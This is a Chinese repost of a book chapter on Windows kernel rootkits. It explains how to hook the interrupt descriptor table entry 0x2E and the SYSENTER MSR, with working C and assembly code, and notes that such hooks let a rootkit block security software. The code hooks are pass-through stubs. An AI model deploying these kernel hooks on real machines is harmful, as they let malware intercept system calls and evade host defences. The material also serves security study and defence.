4_2 内核钩子 - 《Rootkits——Windows内核的安全防护》第二部分 (转自CSDN读书频道)

 
查看文章
  
4_2 内核钩子 - 《Rootkits——Windows内核的安全防护》第二部分 (转自CSDN读书频道)
2007年05月07日 星期一 17:54

2. 钩住中断描述符表
如名称所示,中断描述符表(Interrupt Descriptor
Table,IDT)用于处理中断。中断可能来自于软件或硬件。IDT指定了如何处理诸如当按下一个键、发生页面错误(IDT中的0x0E项),或用户进程请求SSDT(在Windows中为0x2E项)时所触发的中断。本节介绍如何在IDT中的向量0x2E上安装钩子。该钩子在SSDT中的内核函数之前进行调用。
在处理IDT时需要注意两点。首先,每个处理器都有自己的IDT,这在多处理器计算机上会产生问题。仅仅钩住代码当前所在的处理器是不够的,必须钩住系统上的所有IDT(关于如何在特定处理器上运行钩子函数的更多信息,参见第7章“直接内核对象操作”中的7.4.3节)。
另外,执行控制并不返回到IDT处理程序,因此典型的钩子技术(如调用原始函数,过滤数据,然后从钩子中返回等)不会起作用。IDT钩子只是一个直通(pass-through)函数,决不会重新获得控制权,因此它无法过滤数据。但rootkit可以标识或堵塞来自特定软件例如主机入侵预防系统(Host
Intrusion Prevention System,HIPS)或个人防火墙的请求。
当应用程序需要操作系统的支持时,NTDLL.DLL向EAX寄存器加载SSDT中系统调用的索引号,向EDX寄存器加载用户堆栈参数的指针。然后发出一条INT
2E指令。该中断是从用户空间进入内核的指示信号(注意:更晚的Windows版本使用本章后面介绍的SYSENTER指令,而不是INT 2E)。
SIDT指令在内存中为每个CPU寻找IDT。它返回IDTINFO结构的地址。因为IDT划分为一个较低的WORD值和一个较高的WORD值,可以通过MAKELONG宏获得正确的DWORD值,其中最高位WORD在前面:
typedef struct
{
    WORD IDTLimit;
    WORD LowIDTbase;
    WORD HiIDTbase;
} IDTINFO;
#define MAKELONG(a, b)((LONG)(((WORD)(a))|((DWORD)((WORD)(b)))
<< 16))
IDT中每一项都具有自己的结构,长度为64位。这些项也呈现出这种划分WORD特征。每一项包含一个特定中断处理函数的地址。IDTENTRY结构中的LowOffset和HiOffset组成了中断处理程序的地址。
IDT中每项的结构如下:
#pragma pack(1)
typedef struct
{
      WORD LowOffset;
      WORD selector;
      BYTE unused_lo;
      unsigned char unused_hi:5; // stored TYPE ?
      unsigned char DPL:2;
      unsigned char P:1;          // vector is present
      WORD HiOffset;
} IDTENTRY;
#pragma pack()
下面的HookInterrupts函数声明了一个全局DWORD,它存储实际的INT
2E函数处理程序KiSystemService。它还将NT_SYSTEM_SERVICE_INT定义为0x2E。这是IDT中将要钩住的索引。以下代码将IDT中的实际项替换为包含钩子地址的IDTENTRY。
DWORD KiRealSystemServiceISR_Ptr; // The real INT 2E handler
#define NT_SYSTEM_SERVICE_INT 0x2e
int HookInterrupts()
{
    IDTINFO idt_info;
    IDTENTRY* idt_entries;
    IDTENTRY* int2e_entry;
    __asm{
       sidt idt_info;
    }
    idt_entries =            
(IDTENTRY*)MAKELONG(idt_info.LowIDTbase,idt_info.HiIDTbase);
    KiRealSystemServiceISR_Ptr =   // Save the real address of the
                                  // handler.
MAKELONG(idt_entries[NT_SYSTEM_SERVICE_INT].LowOffset,
          idt_entries[NT_SYSTEM_SERVICE_INT].HiOffset);
    /*******************************************************
     * Note: we can patch ANY interrupt here;
     * the sky is the limit
     *******************************************************/
    int2e_entry = &(idt_entries[NT_SYSTEM_SERVICE_INT]);
    __asm{
      cli;                            // Mask Interrupts
      lea eax,MyKiSystemService; // Load EAX with the address of
                                      // hook
      mov ebx, int2e_entry;         // Address of INT 2E handler in
                                      // table
      mov [ebx],ax;                  // Overwrite real handler with
                                      // the low
                                     // 16 bits of the hook address.
      shr eax,16
      mov [ebx+6],ax;               // Overwrite real handler with
                                     // the high
                                     // 16 bits of the hook address.
      sti;                            // Enable Interrupts again.
    }
    return 0;
}
至此已经在IDT中安装了钩子,就可以检测或阻止任何使用了系统调用的进程。记住系统调用编号存储在EAX寄存器中。通过调用PsGetCurrentProcess函数可以获得指向当前EPROCESS的指针。以下是执行该功能的代码原型:
__declspec(naked) MyKiSystemService()
{
    __asm{
       pushad
    pushfd
    push fs
    mov bx,0x30
    mov fs,bx
    push ds
    push es
       // Insert detection or prevention code here.
    Finish:
    pop es
    pop ds
    pop fs
    popfd
    popad
    jmp    KiRealSystemServiceISR_Ptr;   // Call the real function
    }
}
rootkit.com网站资源
该示例代码的下载网址是www.rootkit.com/vault/fuzen_op/strace_Fuzen.zip
SYSENTER
较新版本的Windows系统不再用INT 2E或通过IDT来请求系统调用表中的服务。而是使用快速调用方法(fast call
method)。在这种方法中,NTDLL向EAX寄存器中加载被请求服务的系统调用号,向EDX寄存器中加载当前堆栈指针ESP。然后发出Intel指令SYSENTER。
SYSENTER指令将控制权传递给模型相关寄存器(Model-Specific
Register,MSR)IA32_SYSENTER_EIP中指定的地址。可以读写该寄存器,但它是一条特权指令,这意味着必须从环0级别上执行该指令。
以下是一个简单的驱动程序,它读取IA32_SYSENTER_EIP的值,将其存储在一个全局变量中,然后将钩子地址填充到该寄存器中。MyKiFastCallEntry钩子只是跳转到原始的函数,不执行其他任何工作。这是钩住SYSENTER控制流程所需的第一步。
#include "ntddk.h"
ULONG d_origKiFastCallEntry; // Original value of
                                                //ntoskrnl!KiFastCallEntry
VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
    DbgPrint("ROOTKIT: OnUnload called/n");
}
// Hook function
__declspec(naked) MyKiFastCallEntry()
{
    __asm {
       jmp [d_origKiFastCallEntry]
    }
}
NTSTATUS DriverEntry(PDRIVER_OBJECT theDriverObject,
                                          PUNICODE_STRING theRegistryPath)
{
    theDriverObject->DriverUnload   = OnUnload;
    __asm {
       mov ecx, 0x176
       rdmsr    // read the value of the IA32_SYSENTER_EIP
                // register
       mov d_origKiFastCallEntry, eax
       mov eax, MyKiFastCallEntry      // Hook function address
       wrmsr       // Write to the IA32_SYSENTER_EIP register
    }
    return STATUS_SUCCESS;
}
rootkit.com网站资源
SYSENTER钩子代码的下载网址是www.rootkit.com/vault/fuzen_op/SysEnterHook.zip

 
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值